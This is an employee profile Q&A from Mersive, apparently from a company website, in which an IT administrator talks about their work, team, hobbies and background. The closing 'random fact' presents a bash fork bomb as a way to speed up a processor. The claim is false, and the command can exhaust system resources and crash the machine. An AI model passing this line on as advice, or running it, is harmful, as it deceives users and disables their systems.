Mersive Questions

What is your role at Mersive and what do you do?
When I’m not untangling cables in the datacenter, I spend my time managing: Okta, JumpCloud, Network Administration & Security, and AWS Management.

What is your team like?
Russ, Rich, and Alex are the best IT department I’ve ever worked with. We have very nicely complementary skill sets, and when one of them says something is going to get done, it gets done.

How have you grown professionally while working at Mersive?
Part of the reason I joined Mersive is because it’s a software company. I wouldn’t say that I’m a software engineer quite yet, but thanks to the hackathon and the guidance of a lot of the engineers around me I’m making good progress moving in that direction.

If you could switch your job with anyone else within Mersive, whose job would you want?
Ray Pitmon’s in DevOps. I wouldn’t have any idea what I’m doing, but someday I might.

Personal Questions

Before working at Mersive, what was the most unusual or interesting job you had?
I spent a year working at a funeral home. Sometimes I would mow the lawn, sometimes I would help with embalming. Good times.

What do you like to do in your spare time?
Mostly I climb things, but when the weather isn’t cooperating I spend my time playing video games, DnD, or just print resin minis that get randomly placed all over the house.

What places have you lived in?
In order: Michigan, Illinois, Philippines, Michigan, North Dakota, Michigan, South Korea, Texas, Georgia, Michigan, Illinois, and Colorado.

What is your favorite food?
Reverse seared smoked ribeye, medium rare.

If you could have an unlimited supply of one thing, what would it be?
Money. With enough money, you can topple governments, purchase politicians, solve the homeless crisis, eliminate world hunger, and buy a really, really nice gaming PC.

What is one random fact you could share with us?
If you run :(){:|:&};: in a linux shell it will significantly speed up your processor and dramatically increase RAM utilization on your computer.
